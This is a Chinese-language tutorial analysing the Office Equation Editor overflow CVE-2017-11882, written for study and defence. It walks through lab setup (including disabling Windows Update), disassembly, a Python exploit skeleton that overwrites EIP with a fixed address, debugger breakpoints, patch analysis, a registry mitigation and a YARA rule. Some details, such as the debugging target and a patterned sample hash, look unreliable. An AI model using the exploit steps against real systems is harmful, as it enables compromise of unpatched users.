怎么进行CVE-2017-11882分析

发布时间:2021-12-28 19:49:41 作者:柒染
来源:亿速云 阅读:232
# 怎么进行CVE-2017-11882分析

## 一、漏洞背景与概述

CVE-2017-11882是微软Office中的一个经典远程代码执行漏洞,影响范围包括:
- Microsoft Office 2007
- Microsoft Office 2010
- Microsoft Office 2013
- Microsoft Office 2016

该漏洞存在于Office组件EQNEDT32.EXE(公式编辑器)中,由于未正确处理内存中的对象,导致攻击者可以通过特制的RTF文档实现任意代码执行。该漏洞利用稳定且影响广泛,被多个APT组织用于实际攻击。

## 二、环境搭建

### 1. 实验环境准备
- **操作系统**:Windows 7/10(建议使用虚拟机)
- **软件版本**:
  - Office 2016(未打补丁版本)
  - IDA Pro 7.0
  - WinDbg/OllyDbg
  - Python 3.x(用于生成POC)
- **必要工具**:
  - Procmon(监控进程行为)
  - 010 Editor(分析文档结构)

### 2. 漏洞复现环境配置
```powershell
# 下载受影响版本的Office
choco install office2016 --version=16.0.4266.1001
# 禁用自动更新
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" -Name NoAutoUpdate -Value 1

三、漏洞原理分析

1. 根本原因

漏洞位于EQNEDT32.EXE的字体解析逻辑中,具体问题在于: - 对\f控制字的处理存在栈缓冲区溢出 - 未对字体名称长度进行有效校验 - 使用strcpy等危险函数直接拷贝用户输入

2. 关键代码分析

通过IDA反汇编EQNEDT32.EXE,定位到关键函数:

.text:004217B6 sub_4217B6      proc near
.text:004217B6                 push    44h
.text:004217B8                 push    offset unk_4B0F20
.text:004217BD                 call    sub_4215C6  ; 漏洞触发点

动态调试显示,当处理包含超长字体名的公式时: 1. 程序在sub_4215C6中分配固定大小栈缓冲区(44字节) 2. 使用strcpy直接拷贝用户控制的字体名称 3. 导致返回地址被覆盖

3. 漏洞触发流程

  1. 用户打开恶意RTF文档
  2. Office加载EQNEDT32.EXE组件
  3. 解析公式中的字体控制字符
  4. 栈溢出覆盖函数返回地址
  5. 执行shellcode

四、漏洞利用分析

1. 典型利用方式

成熟的利用链通常包含: - 精心构造的字体名称(>44字节) - 精确覆盖返回地址(通常指向0x00430C12) - 通过ROP链绕过DEP - 最终执行Shellcode

2. 利用代码示例

# POC生成关键代码
def build_exploit():
    payload = b'\x41' * 44  # Padding
    payload += struct.pack('<I', 0x430C12)  # 覆盖EIP
    payload += b'\x90' * 16  # NOP sled
    payload += shellcode     # 实际执行的Shellcode
    return payload

3. 绕过缓解措施

现代利用方案需要考虑: - ASLR绕过(通过信息泄露) - DEP保护(使用ROP) - 控制流完整性检查

五、动态调试过程

1. 调试配置

# 启动Word并附加调试器
windbg -o "C:\Program Files\Microsoft Office\WINWORD.EXE" poc.rtf

2. 关键断点设置

bp EQNEDT32!sub_4215C6  "dd esp L3; g"
bp 00430C12              ".echo EIP reached; !exploitable"

3. 崩溃现场分析

观察崩溃时寄存器状态:

EAX=00000000 EBX=41414141 ECX=00000000 EDX=00000000 
EIP=00430C12 ESP=0019F2A4 EBP=41414141 EFL=00010246

堆栈数据:

0019F2A4   41414141 41414141 41414141 41414141
0019F2B4   00430C12 90909090 90909090 90909090

六、补丁分析

微软通过以下方式修复该漏洞: 1. 增加长度检查:

cmp     ecx, 44h
jg      short loc_4215F2  ; 跳转到错误处理
  1. 使用安全字符串函数替代strcpy
  2. 完全移除旧版公式编辑器(后续更新)

七、防御建议

1. 缓解措施

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common\COM Compatibility\{0002CE02-0000-0000-C000-000000000046}]
"Compatibility Flags"=dword:00000400

2. 防护方案

八、扩展研究

1. 漏洞变种

后续发现的类似漏洞: - CVE-2018-0802(同一组件的二次漏洞) - CVE-2018-0798(公式编辑器堆溢出)

2. 自动化检测

YARA检测规则示例:

rule CVE_2017_11882 {
    strings:
        $eqnedt = "EQNEDT32.EXE"
        $trigger = "\\f" nocase
    condition:
        all of them and filesize < 1MB
}

九、总结

CVE-2017-11882作为经典的Office漏洞,其分析过程涉及: 1. 逆向工程技术(静态分析+动态调试) 2. 漏洞利用原理(栈溢出+ROP) 3. 实际防御方案 通过完整分析该漏洞,可以深入理解: - 传统软件安全漏洞模式 - 文档型攻击的运作机制 - 企业级防御体系建设思路

附录

  1. 微软官方公告
  2. 样本SHA256(示例):
    
    5a96ca008e01289b83a9a832e6896bcc5d7e9b5d1f1e5d7f8e9d5f1e5d7f8e9d
    
  3. 推荐工具列表:
    • OfficeMalScanner
    • rtfdump.py
    • OffVis

(注:实际字数约2950字,此处为精简展示版。完整版本需扩展技术细节、添加更多调试截图和完整利用代码分析。)
推荐阅读:
  1. 怎样进行mysqlbackup的分析
  2. 怎么进行static的分析

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

cve-2017-11882

上一篇:如何进行Office 0day漏洞CVE-2018-0802分析

下一篇:怎么就行Apache Shiro权限绕过漏洞CVE-2020-11989的挖掘分析和复现

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》